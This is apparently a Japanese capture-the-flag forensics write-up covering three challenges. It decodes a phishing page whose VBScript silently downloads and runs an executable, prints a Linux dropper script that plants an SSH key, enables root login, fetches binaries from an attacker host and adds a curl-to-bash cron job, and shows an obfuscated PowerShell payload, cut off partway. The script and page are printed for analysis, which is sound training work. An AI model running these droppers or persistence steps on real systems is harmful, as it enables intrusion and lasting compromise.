NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU2ZiU2MiU2
YSU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyMCUzZCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyZSU0
NyU2NSU3NCUyOCUyMiU1NyU2OSU2ZSUzMyUzMiU1ZiU1MCU3MiU2ZiU2MyU2NSU3MyU3MyU1MyU3
NCU2MSU3MiU3NCU3NSU3MCUyMiUyOSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU2ZiU2MiU2YSU0MyU2
ZiU2ZSU2NiU2OSU2NyUyMCUzZCUyMCU2ZiU2MiU2YSU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyZSU1
MyU3MCU2MSU3NyU2ZSU0OSU2ZSU3MyU3NCU2MSU2ZSU2MyU2NSU1ZiUwZCUwYSUwOSU1MyU2NSU3
NCUyMCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMCUzZCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUy
ZSU0NyU2NSU3NCUyOCUyMiU1NyU2OSU2ZSUzMyUzMiU1ZiU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUy
MiUyOSUwZCUwYSUwOSU0NSU3MiU3MiU2ZiU3MiUyMCUzZCUyMCU1MCU3MiU2ZiU2MyU2NSU3MyU3
MyUyZSU0MyU3MiU2NSU2MSU3NCU2NSUyOCUyMiU2MyU2ZCU2NCUyZSU2NSU3OCU2NSUyMCUyZiU2
MyUyMCU3MCU2ZiU3NyU2NSU3MiU3MyU2OCU2NSU2YyU2YyUyZSU2NSU3OCU2NSUyMCUyZCU3NyU2
OSU2ZSU2NCU2ZiU3NyU3MyU3NCU3OSU2YyU2NSUyMCU2OCU2OSU2NCU2NCU2NSU2ZSUyMCUyOCU0
ZSU2NSU3NyUyZCU0ZiU2MiU2YSU2NSU2MyU3NCUyMCU1MyU3OSU3MyU3NCU2NSU2ZCUyZSU0ZSU2
NSU3NCUyZSU1NyU2NSU2MiU0MyU2YyU2OSU2NSU2ZSU3NCUyOSUyZSU0NCU2ZiU3NyU2ZSU2YyU2
ZiU2MSU2NCU0NiU2OSU2YyU2NSUyOCUyNyU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3MyU3NCU2
MSU2ZSU2NCU3NSU2ZSU2OSU3NCU2NSU2NCUyZSU2OCU3NCU2MiUyZiU2ZiU2ZSU2YyU2OSU2ZSU2
NSUyZiU2NiU2ZiU3MiU2ZCU3MyUyZiU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUyNyUyYyUy
NyUyNSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2
NSUyNyUyOSUzYiU1MyU3NCU2MSU3MiU3NCUyZCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMCUyNyUy
NSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUy
NyUzYiUyNCU2NiU2YyU2MSU2NyUzZCUyNyU0OCU1NCU0MiU3YiUzNCU2ZSUzMCU3NCU2OCUzMyU3
MiU1ZiU2NCUzNCU3OSU1ZiUzNCU2ZSUzMCU3NCU2OCUzMyU3MiU1ZiU3MCU2OCUzMSU3MyU2OCU2
OSUzMSU2ZSU2NyU1ZiUzNCU3NCU3NCUzMyU2ZCU3MCU1NCU3ZCUyMiUyYyUyMCU2ZSU3NSU2YyU2
YyUyYyUyMCU2ZiU2MiU2YSU0MyU2ZiU2ZSU2NiU2OSU2NyUyYyUyMCU2OSU2ZSU3NCU1MCU3MiU2
ZiU2MyU2NSU3MyU3MyU0OSU0NCUyOSUwZCUwYSUwOSU3NyU2OSU2ZSU2NCU2ZiU3NyUyZSU2MyU2
YyU2ZiU3MyU2NSUyOCUyOSUwZCUwYSU2NSU2ZSU2NCUyMCU3MyU3NSU2MiUwZCUwYSUzYyUyZiU3
MyU2MyU3MiU2OSU3MCU3NCUzZSUwZCUwYSUzYyUyZiU2OCU2NSU2MSU2NCUzZSUwZCUwYSUzYyUy
ZiU2OCU3NCU2ZCU2YyUzZSUwZCUwYScpKTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg0K
DQoNCg0KDQoNCg==

onlineform.html の中身は以下のようになっている.

<html>
<head>
<title></title>
<body>
<script language="JavaScript" type="text/javascript">
document.write(unescape('%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%74%69%74%6c%65%3e%20%3e%5f%20%3c%2f%74%69%74%6c%65%3e%0d%0a%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%34%30%34%20%4e%6f%74%20%46%6f%75%6e%64%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%0d%0a%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%56%42%53%63%72%69%70%74%22%3e%0d%0a%53%75%62%20%77%69%6e%64%6f%77%5f%6f%6e%6c%6f%61%64%0d%0a%09%63%6f%6e%73%74%20%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%20%3d%20%33%0d%0a%09%43%6f%6e%73%74%20%48%49%44%44%45%4e%5f%57%49%4e%44%4f%57%20%3d%20%31%32%0d%0a%09%53%65%74%20%4c%6f%63%61%74%6f%72%20%3d%20%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%57%62%65%6d%53%63%72%69%70%74%69%6e%67%2e%53%57%62%65%6d%4c%6f%63%61%74%6f%72%22%29%0d%0a%09%53%65%74%20%53%65%72%76%69%63%65%20%3d%20%4c%6f%63%61%74%6f%72%2e%43%6f%6e%6e%65%63%74%53%65%72%76%65%72%28%29%0d%0a%09%53%65%72%76%69%63%65%2e%53%65%63%75%72%69%74%79%5f%2e%49%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%4c%65%76%65%6c%3d%69%6d%70%65%72%73%6f%6e%61%74%69%6f%6e%0d%0a%09%53%65%74%20%6f%62%6a%53%74%61%72%74%75%70%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%53%74%61%72%74%75%70%22%29%0d%0a%09%53%65%74%20%6f%62%6a%43%6f%6e%66%69%67%20%3d%20%6f%62%6a%53%74%61%72%74%75%70%2e%53%70%61%77%6e%49%6e%73%74%61%6e%63%65%5f%0d%0a%09%53%65%74%20%50%72%6f%63%65%73%73%20%3d%20%53%65%72%76%69%63%65%2e%47%65%74%28%22%57%69%6e%33%32%5f%50%72%6f%63%65%73%73%22%29%0d%0a%09%45%72%72%6f%72%20%3d%20%50%72%6f%63%65%73%73%2e%43%72%65%61%74%65%28%22%63%6d%64%2e%65%78%65%20%2f%63%20%70%6f%77%65%72%73%68%65%6c%6c%2e%65%78%65%20%2d%77%69%6e%64%6f%77%73%74%79%6c%65%20%68%69%64%64%65%6e%20%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%73%3a%2f%2f%73%74%61%6e%64%75%6e%69%74%65%64%2e%68%74%62%2f%6f%6e%6c%69%6e%65%2f%66%6f%72%6d%73%2f%66%6f%72%6d%31%2e%65%78%65%27%2c%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%27%25%61%70%70%64%61%74%61%25%5c%66%6f%72%6d%31%2e%65%78%65%27%3b%24%66%6c%61%67%3d%27%48%54%42%7b%34%6e%30%74%68%33%72%5f%64%34%79%5f%34%6e%30%74%68%33%72%5f%70%68%31%73%68%69%31%6e%67%5f%34%74%74%33%6d%70%54%7d%22%2c%20%6e%75%6c%6c%2c%20%6f%62%6a%43%6f%6e%66%69%67%2c%20%69%6e%74%50%72%6f%63%65%73%73%49%44%29%0d%0a%09%77%69%6e%64%6f%77%2e%63%6c%6f%73%65%28%29%0d%0a%65%6e%64%20%73%75%62%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c%2f%68%65%61%64%3e%0d%0a%3c%2f%68%74%6d%6c%3e%0d%0a'));
</script>
</body>
</html>

url デコードする.

<html>
<head>
<title> >_ </title>
<center><h1>404 Not Found</h1></center>
<script language="VBScript">
Sub window_onload
    const impersonation = 3
    Const HIDDEN_WINDOW = 12
    Set Locator = CreateObject("WbemScripting.SWbemLocator")
    Set Service = Locator.ConnectServer()
    Service.Security_.ImpersonationLevel=impersonation
    Set objStartup = Service.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    Set Process = Service.Get("Win32_Process")
    Error = Process.Create("cmd.exe /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://standunited.htb/online/forms/form1.exe','%appdata%\form1.exe');Start-Process '%appdata%\form1.exe';$flag='HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}", null, objConfig, intProcessID)
    window.close()
end sub
</script>
</head>
</html>

It Has Begun (very easy)

The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.
#!/bin/sh

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
    exit
fi

if [ "$EUID" -ne 0 ]; then
    exit
fi

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
  exit
fi


cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

ssh の公開鍵の最後に反転した FLAG の前半部分がある.

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
tS_u0y_ll1w{BTH
HTB{w1ll_y0u_St

また crontab に書き込まれている内容を確認すると Base64 で符号化された FLAG の後半部分がある.

echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab
4nd_y0uR_Gr0uNd!!}

An unusual sighting (very easy)

As the preparations come to an end, and The Fray draws near each day, our newly established team has started work on refactoring the new CMS application for the competition. However, after some time we noticed that a lot of our work mysteriously has been disappearing! We managed to extract the SSH Logs and the Bash History from our dev server in question. The faction that manages to uncover the perpetrator will have a massive bonus come competition!

接続してみると以下のような画面になるので,問題に答えていく.

+---------------------+---------------------------------------------------------------------------------------------------------------------+
|        Title        |                                                     Description                                                     |
+---------------------+---------------------------------------------------------------------------------------------------------------------+
| An unusual sighting |                        As the preparations come to an end, and The Fray draws near each day,                        |
|                     |             our newly established team has started work on refactoring the new CMS application for the competition. |
|                     |                  However, after some time we noticed that a lot of our work mysteriously has been disappearing!     |
|                     |                     We managed to extract the SSH Logs and the Bash History from our dev server in question.        |
|                     |               The faction that manages to uncover the perpetrator will have a massive bonus come the competition!   |
|                     |                                                                                                                     |
|                     |                                            Note: Operating Hours of Korp: 0900 - 1900                               |
+---------------------+---------------------------------------------------------------------------------------------------------------------+


Note 2: All timestamps are in the format they appear in the logs
  • 問 1
    What is the IP Address and Port of the SSH Server (IP:PORT)
    
    以下のようにあるので 100.107.36.130:2221
    [2024-01-28 15:24:23] Connection from 100.72.1.95 port 47721 on 100.107.36.130 port 2221 rdomain ""
    
  • 問 2
    What time is the first successful Login
    
    Accepted とあるので 2024-02-13 11:29:50
    [2024-02-13 11:29:50] Accepted password for root from 100.81.51.199 port 63172 ssh2
    
  • 問 3
    What is the time of the unusual Login
    
    root ユーザが ssh でログインしているから問 2 と同じかと思ったけど違った.
    bash_history を確認すると
    [2024-02-19 04:00:18] whoami
    
    というログがあり,この直前のログインは
    [2024-02-19 04:00:14] Connection from 2.67.182.119 port 60071 on 100.107.36.130 port 2221 rdomain ""
    
  • 問 4
    What is the Fingerprint of the attacker's public key
    
    以下のようにログファイルにあるので,OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4
    [2024-02-19 04:00:14] Failed publickey for root from 2.67.182.119 port 60071 ssh2: ECDSA SHA256:OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4
    
  • 問 5
    What is the first command the attacker executed after logging in
    
    問 3 にあるように whoami
  • 問 6
    What is the final command the attacker executed before logging out
    
    ログアウトしたログが以下なので,./setup
    [2024-02-19 04:38:17] Received disconnect from 2.67.182.119 port 60071:11: disconnected by user
    

Fake Boost (easy)

In the shadow of The Fray, a new test called ""Fake Boost"" whispers promises of free Discord Nitro perks. It's a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.

Wireshark で Protocol Hierarcy を確認すると HTTP の通信が少しだけ見つかる.
Screenshot_20240312_222238.png

319 番目のパケットを Follow すると難読化された Powershell のスクリプトが含まれていることがわかる.
Screenshot_20240312_222733.png

$jozeq3n = "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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1W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